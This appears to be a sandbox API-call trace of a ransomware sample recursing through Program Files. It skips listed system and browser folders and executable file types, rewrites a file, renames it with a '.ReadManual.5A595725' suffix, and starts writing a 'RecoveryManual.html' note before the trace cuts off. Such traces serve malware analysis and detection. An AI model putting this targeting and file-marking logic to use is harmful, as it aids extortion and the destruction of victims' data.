lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe03a76c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe03a76c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfe80 [0258.503] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\" [0258.503] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe03a76c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe03a76c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.503] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0258.503] lstrcpyW (in: lpString1=0x69b8fe, lpString2="AS OLEDB" | out: lpString1="AS OLEDB") returned="AS OLEDB" [0258.503] lstrcatW (in: lpString1="AS OLEDB", lpString2="\\" | out: lpString1="AS OLEDB\\") returned="AS OLEDB\\" [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\Windows\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\WINNT") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.503] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.504] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned 58 [0258.504] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0258.504] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0258.504] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.504] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0258.504] lstrcpyW (in: lpString1=0x69b910, lpString2="10" | out: lpString1="10") returned="10" [0258.504] lstrcatW (in: lpString1="10", lpString2="\\" | out: lpString1="10\\") returned="10\\" [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\Windows\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\WINNT") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.504] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.505] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.505] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned 61 [0258.505] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0258.507] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0258.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0258.507] lstrcpyW (in: lpString1=0x69b916, lpString2="Cartridges" | out: lpString1="Cartridges") returned="Cartridges" [0258.507] lstrcatW (in: lpString1="Cartridges", lpString2="\\" | out: lpString1="Cartridges\\") returned="Cartridges\\" [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\Windows\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\WINNT") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.507] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.508] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned 72 [0258.508] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.511] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0258.511] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.511] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0258.511] lstrcpyW (in: lpString1=0x6ab92c, lpString2="as80.xsl" | out: lpString1="as80.xsl") returned="as80.xsl" [0258.511] lstrcmpiW (lpString1="as80.xsl", lpString2="RecoveryManual.html") returned -1 [0258.511] StrStrIW (lpFirst="as80.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.511] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.511] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.511] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0258.511] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ReadManual.5A595725" [0258.511] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ReadManual.5A595725") returned 100 [0258.511] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37918001817) returned 1 [0258.511] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0258.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.512] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=17248) returned 1 [0258.512] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4360, lpName=0x0) returned 0x1a0 [0258.512] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0258.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.512] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.514] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.514] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4360) returned 0x2f0000 [0258.514] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37918328134) returned 1 [0258.515] CloseHandle (hObject=0x1a0) returned 1 [0258.515] SetSecurityInfo () returned 0x57 [0258.515] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.515] CloseHandle (hObject=0x184) returned 1 [0258.515] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0258.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RecoveryManual.html" [0258.516] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RecoveryManual.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 